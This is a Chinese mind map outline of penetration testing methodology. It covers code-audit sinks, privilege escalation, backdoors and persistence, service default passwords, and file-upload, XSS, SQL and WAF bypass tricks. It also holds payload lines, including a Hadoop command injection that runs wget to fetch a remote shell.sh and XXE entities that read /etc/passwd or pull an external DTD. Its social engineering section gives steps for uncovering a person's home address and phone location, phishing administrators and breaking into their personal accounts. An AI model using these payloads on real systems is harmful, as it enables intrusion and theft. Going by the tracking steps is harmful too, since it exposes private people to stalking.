渗透测试
2020-04-29 15:53:26 6 举报
AI智能生成
渗透测试思路和流程框架
作者其他创作
大纲/内容
代码审计
PHP
代码执行
eval()
assert()
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()
反序列化
php 源文件拼接写入
反序列化
格式特征如:O:1:"F":1:{s:8:"filename";s:5:"a.txt";}
unserialize()
SQL 注入
未加过滤拼接SQL
宽字节注入
注意二次注入
文件操作
fopen
file_put_content
$_FILES
file_get_contents
move_uploaded_file
fwrite
unlink
rmdir
变量覆盖
可以导致绕过gpc过滤
逻辑漏洞
安装相关
安装后未自动删除目录或加锁导致可再次重装
通过文件删除或移动漏洞操作锁文件,来达到重装
安装展示页被加锁,但实际上处理安装业务的文件没有则可绕过重装
重装时一些内容会被写进php的配置文件里,如果知道格式,可以拼接执行php代码
加了锁,但只是js跳转,并没有exit或die 结束代码,导致可绕过重装
文件包含
本地包含
如果结尾被拼接.php 则需要00截断
php<5.3.4
伪协议
phar/zip
包含上传图片、日志
php://input
远程包含
需要开启 allow_url_include allow_url_fopen
命令执行
exec
system
`whoami`
popen
passthru
shell_exec
Java
反序列化
搜索readObject
使用Serializable 接口
使用反序列化工具类
使用 alibaba fastjson
shiro rememberMe
XSTREAM
Jackson
dubbo
文件读取
使用 File 相关工具类
使用 URLConnection 没有指明协议时可用 file://etc/passwd
命令执行
使用 Runtime.exec
使用 ProcessBuilder
使用命令行相关工具类
Spel \ ognl 表达式可控
SQL注入
ORM框架
Mybatis 使用 $
hibernate 拼接查询
jdbc
使用 statement 类
参考
http://absec.cn/?p=168
后渗透与持续渗透
权限维持与提升
提权
Windows
一般情况
pr 、Churrasco、kelong、IIS6up、mimikatz、第三方cmd、第三方net、vbs、读hash、msf
找未安装补丁的提权漏洞
通过高权应用的RCE 或 LCE提权,如:mssql、Oracle
参考
https://github.com/SecWiki/windows-kernel-exploits
Linux
通过高权应用
根据内核版本找exp
参考
https://github.com/SecWiki/linux-kernel-exploits
维持
信息收集
保存用户bash history
netstat -an 查看端口连接情况
/etc/passwd /etc/shadow 用户相关信息
crontab 里的定时任务
系统变量
lastlog & last & who /var/log/wtmp 分析登录频次
用户根目录的文件
/etc/hosts 中的映射
/.ssh/
查看数据库SQL日志
查看WEB服务运行日志
后门
shift 后门
Windows $ 隐藏用户
开机自启执行后门
替换带有后门的敏感程序 如:ssh / mstsc
注册表
dll 劫持
开启代理
待补充
内网渗透
参考
https://github.com/Ridter/Intranet_Penetration_Tips
https://github.com/l3m0n/pentest_study
待补充
持续渗透和一些技巧
得到子服务器权限后
探测内网存活主机/服务 的指纹信息
ARP劫持流量
找到该服务器与其他服务器的关联(如:已得到redis服务器权限 web服务器会从redis中取出数据反序列化 则可以篡改redis中的数据以获取web服务器权限)
得到域名解析权后
指向到反代至目标的服务器,记录GET POST请求日志,分析特殊URL和登录后台的POST 请求
找到XSS后
如果是社交类网站,尝试寻找CSRF制造蠕虫
通过其他社交网站的JSONP漏洞,探测管理员的个人信息
打到管理员cookie后通过附带 Cookie 不断请求后台以保持会话不被销毁
根据浏览器、flash、等情况进行浏览器攻击。如:执行代码、种rootkit
canvas 截图页面
得到邮箱地址后
独立邮件系统可找公开漏洞攻击
发送测试邮件探测对方使用邮箱系统
通过挖掘相关邮箱系统漏洞进行攻击
找到服务器、CDN、域名、DNS等服务商,伪造钓鱼邮件欺骗管理员登录
发送含有后门的附件(如:pdf、Excel、word、rar的代码执行漏洞)
通过社工库或搜索引擎人肉搜索得出密码后尝试登陆邮箱
得到邮箱权限后
分析/劫持邮箱收信
个人邮箱
搜搜:password、找回密码、重置密码、忘记密码等关键字
找服务器、CDN、域名、DNS等服务商的邮件,如果无法登陆尝试重置等操作
找到有关地理位置软件的邮件
淘宝(收货地址)
京东(收货地址)
支付宝(收货地址)
Apple账号(可定位)
各手机大厂(手机定位)
找发件箱中的原始图片(找exif的GPS定位)
...
企业邮箱
找VPN相关邮件 可内网渗透
找OA,ERP,SCM,CRM,BRP,OMS,WMS相关系统邮件
找Git,SVN,自动化测试相关邮件
搜索关键字:password、密码、192、172、10. 等关键字
...
引入了外部资源
搞定外部网站
如果是JS 可以考虑XSS攻击
IMG LINK 可以401认证钓鱼
IFRAME bgsound EMBED source object等可以挂可执行文件或跳转钓鱼页
找后台
一般在后台添加友联时会展示logo图片,如果可以填写远程URL 可以尝试和站长沟通交换友联,添加成功后,对方则会发起一个refer为后台的请求到你的LOGO
收集网站名简写、英文名、邮箱前缀等 于 admin、manage、system、login等常见单词组合请求
IIS 短文件名漏洞
Windows 下的 >> 特性
https://b1ue.cn/archives/60.html
找列目录漏洞
XSS
收集子域名资产及其C段端口
二级域名 如:admin.xxx.com
google fofa censys等引擎搜索关键字
爬虫爬取所有链接 提取出目录部分 按目录层级穷举
绕过验证码
只请求一次验证码,然后用同样的验证码暴力破解
知道验证码在session中的参数,找类似 Tomcat example session重置的漏洞填充同一验证码
云打码平台识别
自己训练OCR识别
APT攻击
待补充...
流量取证
待补充...
社会工程学技巧
社交搜索
查看注册的网站:0xreg reg007
知道账号去已注册的网站找回密码,可以看到打码后的用户名、邮箱、真实姓名等信息,如果运气好没准能从数据包或html中找到未被打码的信息
可以从这些方面判断用户是否注册过
找回密码
输入账号,如果进入下一步了则该账号存在
登录
输入账号和密码,如果提示密码错误,则表示该用户已存在
注册
填写账号时一般网站会去检测该账号是否已存在,如果已存在则会提示不可重复注册
知道QQ
通过QQ邮箱搜索支付宝、淘宝账号
去腾讯微博搜索
通过微信搜索
查看QQ空间
通过说说、留言、日志找到其好友
知道手机号
搜索QQ、微信、钉钉等社交账号
在比较火的一些APP和网站上注册或忘记密码来判断是否注册过账号
查询支付宝账号,尝试输入常见姓氏获取名字
通过对方的职业、兴趣找到该领域知名度较高的社交网站反查
根据在QQ空间、朋友圈等动态用百度识图识别照片,在微博、ins、Twitter、fb、百度贴吧搜索相近关键字,按地域、年龄、男女、用户名等筛选
留意社交动态
发布时间线
使用什么客户端 iPhone Android还是浏览器
注意每一条链接 / 图片 / 视频
从最早发布的动态看起,会有很大收获
一般得到一个账号的密码就相当于得到了其他账号的密码
一般人不同账号的用户名都是相同或相近的
一般人的社交账号头像用的都是一样的
尝试破解社保、公积金账号
大部分信息可以用来生成密码字典
待补充
工具
扫描工具
主动扫描
AWVS
业界知名漏洞扫描器,适用于WEB应用
appscan
业界知名漏洞扫描器,适用于WEB应用
Fuxi Scanner
一款聚合了很多功能的综合扫描器
https://github.com/jeffzh3ng/Fuxi-Scanner
xunfeng
https://github.com/ysrc/xunfeng
一款综合的巡航扫描系统
nessus
适合扫描系统和应用层漏洞的扫描器
sqlmap
https://github.com/sqlmapproject/sqlmap
知名自动化SQL注入神器,安全人员必备
masscan
快速端口扫描器
被动扫描
GourdScanV2
https://github.com/ysrc/GourdScanV2
被动式漏洞扫描器
SQLiScanner
Burpsuite
知名渗透测试工具,安全人员必备
渗透框架
metasploit
https://github.com/rapid7/metasploit-framework
知名漏洞利用框架,安全人员必备
pocsuite
https://github.com/knownsec/Pocsuite
知道创宇的POC漏洞测试框架
溯光
https://www.trackray.cn/
https://github.com/iSafeBlue/TrackRay
我开发的一款在线扫描器+接口式渗透测试框架
kunpeng
一个兼容多种语言的漏洞框架
poc-t
python 漏洞验证框架
bugscan
四叶草的漏洞扫描器
3xp10it
pentestbox
整合了kali中大部分的安全工具,Windows平台上的神器
w9scan
w8ay的一款漏洞扫描工具
信息收集
wydomain
猪猪侠的子域名扫描工具
bit4woo/teemo
聚合多个接口查子域名
ring04h/weakfilescan
猪猪侠的信息泄露扫描器
ring04h/dirfuzz
猪猪侠的网站目录扫描器
whatweb
网站指纹扫描
nsonaniya2010/SubDomainizer
信息泄露
lijiejie/GitHack
lijiejie的GIT泄露利用
shengqi158/svnhack
svn泄露利用工具
lijiejie/IIS_shortname_Scanner
IIS短文件扫描器
渗透辅助
Cobalt Strike
渗透测试工具,安全人员必备
hydra
多种服务的密码暴力破解工具,安全人员必备
nmap
端口扫描和系统漏洞扫描的神器,安全人员必备
lcx
内网转发工具
nc
常用于shell反弹,安全人员必备
proxychain
linux下的代理工具
reGeorg
内网渗透代理工具
Proxifier
Windows下的代理工具
菜刀/蚁剑/Cknife
网站webshell管理工具,安全人员必备
信息收集
业务相关
github泄漏
网盘泄漏
敏感路径扫描
https://github.com/ring04h/dirfuzz
QQ群文件泄漏
域名相关
域名商
找域名商漏洞,越权影响目标域名
欺骗域名商客服,影响目标域名
社工账号,篡改解析地址
DNS
渗透DNS服务器,和社工DNS服务商
DNS域传送漏洞
子域名接管漏洞
CDN
找真实IP地址
censys.io 等网络空间引擎查找关键字
SSRF漏洞
查找域名历史解析IP
https://securitytrails.com/
site.ip138.com
服务器信息泄露
探测子域名IP
cloudflare(HatCloud)
看邮件发送者源IP
APP客户端
DOS CDN可能会成回源模式
破解CDN服务账号
WHOIS
注册者邮箱
反查其他域名
手机号
地址
注册者名称
DNS
子域名
搜索引擎
fofa、傻蛋、谛听、zoomeye、censys
Google、bing、baidu、duckduckgo
接口聚合:https://github.com/bit4woo/teemo
暴力破解
layer
wydomain
网页爬虫
基于JS的域名探测https://github.com/nsonaniya2010/SubDomainizer
DNS查找
dnsdumpster.com
www.virustotal.com
服务器主机
端口
nmap
Zenmap
系统识别
nmap -O
大小写敏感
TTL
banner
信息泄露
特殊端口 如(22 / 139 / 445 / 1433 / 3389)
HOSTNAME
相关资产
同服网站
https://dns.aizhan.com
备案反查
C段业务
可能会有其他相关业务,如交换机、机房后台、监控系统等
指纹识别
特有文件MD5
包含字符
cookie
响应头
弱点检测
常见漏洞
文件操作
文件上传
字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder
%00截断
畸形文件名
Windows
shell.php{%80-%99}
NTFS ADS特性
shell.php......
shell.php::$DATA
shell.php:a.jpg
目录穿越
文件头绕过
修改上传类型 Content-Type
双文件上传
超长截断
长文件名
长Content-Disposition
特殊文件
上传html、htm 可以 XSS
swf 可以XSS
pdf 在 chrome 里可以做跳转
cer、asa、jspx、php5、phtml等可能会被当做动态语言解析
.htaccess .user.ini web.config web.xml 等
无大小和次数限制
无限上传制造垃圾数据堵死硬盘
imagemagick命令执行
文件读取
读取系统敏感文件 如配置文件
文件包含
可读取文件或代码执行
文件删除
删除配置文件可破坏网站
删除安装锁可重装
CSRF
自动检测 https://github.com/BlackHole1/autoFindXssAndCsrf
FLASH CSRF
http://blog.knownsec.com/2013/03/%E7%A7%91%E6%99%AE%E4%BD%8E%E8%B0%83%E7%9A%84flash-csrf%E6%94%BB%E5%87%BB/
https://www.cnblogs.com/fdsajhg30000/archive/2011/02/14/1953966.html
http://www.vuln.cn/7134
XSS
普通反射/持久/DOM型
UXSS
XSS 蠕虫
rootkit xss
Flash Xss
https://www.secpulse.com/archives/44299.html
其他文档
Web前后端漏洞分析与防御 https://github.com/TYRMars/WebSafe-StepPitGuide
脑图
https://github.com/phith0n/Mind-Map/blob/master/xss%20virus%201.0.png
https://github.com/phith0n/Mind-Map/blob/master/XSS2.png
https://github.com/phith0n/Mind-Map/blob/master/XSS%E8%84%91%E5%9B%BE.png
CRLF注入在响应头会导致XSS
SQL注入
ORACLE
执行java代码
https://www.cnblogs.com/rebeyond/p/7928887.html
https://www.cnblogs.com/pshell/articles/7473713.html
MYSQL
load_file() 文件读取函数
outfile 写文件
MOF / UDF 提权
general_log_file 写文件
SQL Server
xp_cmdsell
https://www.jianshu.com/p/027636ef4640
wscript.shell
https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html
沙盒模式
https://blog.csdn.net/sircoding/article/details/78683192
存储过程写文件
xp_dirtree
https://blog.csdn.net/kj021320/article/details/1736964
sp_oamethod
https://www.0dayhack.com/post-678.html
代码执行/命令执行
命令执行
& / && / | / || / ;
系统变量 ${xx} and %xx%
代码执行
表达式
freemarker
OGNL
Spel
jsel
非表达式
php
eval
assert
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()
反序列化
php 源文件拼接写入
java
反序列化
远程 jar 加载
反射机制
jsp 源文件拼接写入
SSRF
利用姿势
http/s协议
获取真实IP
内网主机 / 端口探测
攻击redis、memcache等
file协议
读取文件
gopher协议
同上
绕过
IP换成域名
IP换成10进制
http://xxx.com@baidu.com
302 跳转
参考
https://www.t00ls.net/articles-41070.html
XXE
利用姿势
文件读取
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
SSRF
<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
参考
https://www.freebuf.com/articles/web/177979.html
无恶意特征的漏洞
整数溢出
数字超出限定大小则会为负数。如:在购买商品时填写超长数字,造成溢出,最终乘以金额变为负数
并发修改数据(如提现)
网站重装
未授权访问
水平与垂直越权
JSONP劫持
密码重置
点击劫持
编辑器漏洞
fckeditor
https://www.cnblogs.com/bl8ck/p/9521448.html
ueditor
.net
getshell
https://www.seebug.org/vuldb/ssvid-97499
jsp
文件上传
https://www.secpulse.com/archives/11232.html
ssrf
https://paper.seebug.org/606/
ckfinder
https://www.seebug.org/appdir/CKFinder
https://www.secpulse.com/archives/26999.html
CKEditor
https://www.seebug.org/vuldb/ssvid-60642
KindEditor
https://www.anquanke.com/post/id/171422
https://www.freebuf.com/articles/web/128076.html
ewebeditor
https://www.cnblogs.com/milantgh/p/3601739.html
https://www.0dayhack.com/post-426.html
常见服务弱点
21 / FTP
匿名/暴力破解
拒绝服务
22 / SSH
暴力破解
23 / telnet
Winbox(CVE-2018-14847)
https://github.com/BasuCert/WinboxPoC
弱口令 / 暴力破解
161 / snmp
弱口令
https://blog.csdn.net/archersaber39/article/details/78932252
389 / ladp
匿名访问
https://www.cnblogs.com/persuit/p/5706432.html
ladp注入
http://www.4hou.com/technology/9090.html
https://www.freebuf.com/articles/web/149059.html
443 / ssl
openssl心脏出血
https://paper.seebug.org/437/
http://www.anquan.us/static/drops/papers-1381.html
https://www.freebuf.com/sectool/33191.html
445 / smb
win10拒绝服务
永恒之蓝RCE
875 / rsync
匿名访问
http://www.anquan.us/static/bugs/wooyun-2016-0190815.html
https://paper.seebug.org/409/
http://www.91ri.org/11093.html
1433 / mssql
暴力破解
http://www.anquan.us/static/drops/tips-12749.html
https://www.seebug.org/appdir/Microsoft%20SQL%20Server
1521 / oracle
暴力破解
https://www.exploit-db.com/exploits/33084
2601 / zebra
http://www.anquan.us/static/bugs/wooyun-2013-047409.html
3128 / squid
3306 / mysql
RCE
http://www.91ri.org/17511.html
CVE-2015-0411
hash破解
https://www.freebuf.com/column/153561.html
waf绕过
https://www.freebuf.com/articles/web/155570.html
general_log_file getshell
https://www.freebuf.com/column/143125.html
提权
http://www.91ri.org/16540.html
3312 / kangle
getshell
https://www.secpulse.com/archives/23927.html
3389 / rdp
shift 放大镜 输入法绕过 guest用户
永恒之蓝(ESTEEMAUDIT)
https://www.freebuf.com/articles/system/132171.html
https://www.anquanke.com/post/id/86328
ms12-020
https://blog.csdn.net/meyo_leo/article/details/77950552
4440 / rundeck
https://www.secpulse.com/archives/29500.html
4848 / glassfish
文件读取
https://www.secpulse.com/archives/42277.html
https://www.anquanke.com/post/id/85948
GlassFish2 / admin:admin
GlassFish3,4 / 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误
5432 / PostgreSQL
RCE
https://www.cnblogs.com/KevinGeorge/p/8521496.html
https://www.secpulse.com/archives/69153.html
默认账号postgres
参考
http://www.91ri.org/13070.html
http://www.91ri.org/6507.html
5672,15672,4369,25672 / RabbitMQ
(guest/guest)
5900 / VNC
https://www.seebug.org/appdir/RealVNC
5984 / CouchDB
http://xxx:5984/_utils/
6082 / varnish
CLI 未授权
https://www.secpulse.com/archives/10681.html
6379 / redis
Redis未授权
ssh publickey
crontab
webshell
反序列化
开机自启文件夹写bat
参考
https://www.freebuf.com/column/170710.html
7001,7002 / WebLogic
默认弱口令
weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic
反序列
CVE-2018-2628
https://www.freebuf.com/articles/web/169770.html
https://www.seebug.org/appdir/WebLogic
9200,9300 / elasticsearch
CVE-2015-1427
http://www.anquan.us/static/drops/papers-5142.html
CVE-2018-17246
https://www.seebug.org/vuldb/ssvid-97730
参考
https://www.seebug.org/search/?keywords=elasticsearch
9000 / fcgi
https://paper.seebug.org/289/
9043 / WebSphere
Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password
11211 / memcache
未授权
UDP反射
https://shockerli.net/post/memcached-udp-reflection-attack-bug/
27017,27018 / Mongodb
未授权
注入
https://www.anquanke.com/post/id/83763
phpMoAdmin RCE
https://www.aqniu.com/threat-alert/6978.html
50000 / SAP
SAP命令执行
https://www.secpulse.com/archives/20204.html
50070,50030 / hadoop
未授权
https://www.freebuf.com/vuls/173638.html
命令执行
host:50060/pstack?pid=123|wget http://somehost/shell.sh
https://www.seebug.org/search/?keywords=hadoop
其他
http://www.91ri.org/15441.html
通用漏洞
WEB
Java
struts2
S2-001 --- WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
S2-003 --- Struts 2.0.0 - Struts 2.0.11.2
S2-005 --- Struts 2.0.0 - Struts 2.1.8.1
S2-007 --- Struts 2.0.0 - Struts 2.2.3
S2-008 --- Struts 2.1.0 - Struts 2.3.1
S2-009 --- Struts 2.0.0 - Struts 2.3.1.1
S2-012 --- Struts Showcase App 2.0.0 - Struts Showcase App 2.3.13
S2-013 --- Struts 2.0.0 - Struts 2.3.14
S2-015 --- Struts 2.0.0 - Struts 2.3.14.2
S2-016 --- Struts 2.0.0 - Struts 2.3.15
S2-019 --- Struts 2.0.0 - Struts 2.3.15.1
S2-029 --- Struts 2.0.0 - Struts 2.3.24.1 (except 2.3.20.3)
S2-032 --- Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
S2-033 --- Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
S2-037 --- Struts 2.3.20 - Struts Struts 2.3.28.1
S2-045 --- Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
S2-046 --- Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
S2-048 --- Struts 2.3.x with Struts 1 plugin and Struts 1 action
S2-052 --- Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
S2-053 --- Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
S2-057 --- Struts 2.0.4 - Struts 2.3.34, Struts 2.5.0 - Struts 2.5.16
spring
https://pivotal.io/security
Spring-data-commons 代码执行
https://www.freebuf.com/vuls/172984.html
Spring MVC 目录穿越漏洞
https://paper.seebug.org/665/
Spring 视图注入漏洞
http://lonelyrain.me/2018/09/18/spring-view-injection/
spring-messaging远程代码执行
https://www.anquanke.com/post/id/104140
Spring WebFlow 远程代码执行
https://www.anquanke.com/post/id/86244
spring-tx.jar 反序列化
https://www.freebuf.com/vuls/115849.html
spring-security-oauth2 RCE
https://chybeta.github.io/2018/05/12/RCE-with-spring-security-oauth2-%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-1260%E3%80%91/
Spring Boot Actuator jolokia RCE/XXE
https://b1ue.cn/archives/111.html
Spring Cloud Config Server 任意文件读取漏洞(CVE-2019-3799)
https://b1ue.cn/archives/126.html
Springboot swagger 控制台未授权
直接访问 /swagger-ui.html
Spring Boot Actuator 未授权访问
接口
/conditions
/beans
/configprops
/env/{toMatch}
/info
/mappings
/health
/auditevents
/loggers/{name}
/metrics/{requiredMetricName}
/heapdump
/threaddump
/scheduledtasks
/httptrace
接口文档
https://www.cnblogs.com/ckp-henu/p/spring-boot-actuator.html
...
PHP
thinkphp
5.x
多个代码执行
3.x
代码执行
SQL注入
日志泄漏
/App/Runtime/模块名/Log[s]/年_月_日.log
/Application/Runtime/Log[s]/年_月_日.log
/Runtime/Log[s]/年_月_日.log
缓存getshell
yii
Laravel
http://www.vuln.cn/6315
.Net
...
服务器
nginx
0.8.* 版本以下有解析漏洞 e.g:1.jpg/.php 1.jpg%00x.php
https://github.com/yandex/gixy 安全配置检查工具
apache
有解析漏洞 e.g:1.php.xx
HTTP 2.0 拒绝服务 https://www.freebuf.com/vuls/139042.html
CVE-2017-15715 解析漏洞 https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
IIS
6.*
CVE-2017-7269远程代码执行 https://www.freebuf.com/vuls/130531.html
PUT WRITE
7.*
Fast-CGI漏洞 e.g:/xx.jpg/xx.php
CVE-2015-1635 HTTP.SYS 溢出 https://www.freebuf.com/vuls/64195.html
IIS加载CGI环境块伪造 https://www.freebuf.com/vuls/31444.html
短文件名 https://www.freebuf.com/articles/web/172561.html
weblogic
反序列化
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
CVE-2018-3252
CVE-2018-3191
CVE-2018-3245
CVE-2018-2894
https://blog.csdn.net/qq_23936389/article/details/81256015
https://www.seebug.org/appdir/WebLogic
tomcat
CVE-2017-12615 远程代码执行
session 注册
/examples/servlets/servlet/SessionExample
本地提权
https://www.freebuf.com/vuls/115862.html
jboss
https://www.seebug.org/appdir/jboss
https://www.freebuf.com/vuls/186948.html
websphere
Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password
Bypass
Upload
容器特性
Apache1.X / 2.X
从后向前识别,直到可识别的扩展名
x.php.asd
IIS 6
目录为 *.asp/*.asa等可被IIS动态执行的扩展名
/1.asp/1.jpg
IIS7&7.5 / <=Nginx0.8.3
上传1.jpg 访问 1.jpg/.php
Nginx 0.8.41 – 1.5.6
上传shell.php 访问shell.jpg%20.php
操作系统特性
在shell.php后加上%80到%99,系统不识别这个范围内的字符
Windows会去除尾部的. shell.php......
shell.php::$DATA
处理方法
处理方式
拦截
不会通过应用
过滤
会经过应用,但会在其中的一个环节被替换为一些安全的字符
检查部分
文件扩展名
文件contenttype
文件内容
图片是否完整
检查规则
黑名单
asp、php、jsp等
可通过fuzz上传不在黑名单的冷门扩展名
jspx
phtml
asa等
上传.htaccess
上传.user.ini
白名单
jpg、png、doc等
可以通过常见的%00 或web容器/系统特性绕过
语法规则
eavl(**) 等
避开常用代码,使用混淆、冷门函数、反射机制等方法绕过
一些其他绕过方法
双上传
在boundary 加一些字符
在content-disposition中添加字符
超长文件名
修改content-length
文件名中夹杂小语种或非英语字符
参考
https://xz.aliyun.com/t/337
XSS
常用操作
scrscriptipt
大小写绕过
DOM XSS无视后端过滤
替换为HTML实体编码
AJAX中的响应为JSON可以考虑使用Unicode编码
尝试使用POST或其他类型请求
字符串拼接
字符串反转
利用WEB容器特性
参数污染
' 或 " 被转义
宽字节逃逸
String.fromCharCode
jsfuck
eval
在标签属性中可以不使用
空格被过滤
%0D
%0A
+
标签中可用 /
限制长度
多段提交 part1:<script>/* part2:*/a=1</script>
<svg/onload=alert(1)>
短域名
https://wooyun.js.org/drops/%E7%9F%AD%E5%9F%9F%E5%90%8D%E8%BF%9B%E5%8C%96%E5%8F%B2.html
短连接 //t.cn/xxxx
<>被过滤
在可执行事件标签中或 script内无需绕过
Unicode u003cu003e
待补充...
SQL 注入
特性
一些web容器 提交两个同样的参数会把其拼接起来或只取一个,可以考虑使用参数污染方式绕过
a=1&a='or '1'='1
iis支持unicode,可以把payloadUnicode编码再提交
如s%u0065lect
使用multipart 方式提交
sqlserver可以使用分号;结束命令
mysql 可以使用内联注释 /*!50000select*/
一些绕过方法
转义'
宽字节绕过
二次注入
常用注释
/**/
--
#
-- +
特殊字符 如%00 %0d %0a
使用空白字符
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
union(select)
select all{x users}from{x ddd}
超长注入命令
插入emoji / 小语种文字等字符
使用sqlmap tamper
一些常用注入关键字
使用冷门函数语法
科学计数语法 如 8e0union
绕过云WAF,找到真实IP注入
基于协议的绕过方法
Chunked Transfer分块传输
https://www.anquanke.com/post/id/169738
https://www.freebuf.com/news/193659.html
https://www.bugbank.cn/live/view.html?id=111608
参考
https://www.secpulse.com/archives/53328.html
比较冷门的bypass方法
添加一个换行符在第一行
```
GET /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
用小写的方法(Apache)
```
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
在方法之前写加一个TAB
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
```
GET /login.php?pam_param=test1&pam[param=test2&pam%5bparam=test3
```
使用绝对URL
```
GET http://localhost/login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
双HOST头
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
小写HOST
```
GET /login.php HTTP/1.1
host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
去掉HOST的空格
```
GET /login.php HTTP/1.1
Host:favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
在HOST中加一个TAB
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
Content-Type加一些字符
```
POST /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Content-Type: application/another-text/+++x-www-form-urlencoded
hello=world
```
multipart插入脏数据
```
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition:
test1;
--x
test2;
--x--
test3;
name="hello"
world
```
Transfer chunked攻击
```
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Transfer-Encoding: chunked
3
hel
3
lo=
3
wor
2
ld
0
```
参考
https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
0 条评论
下一页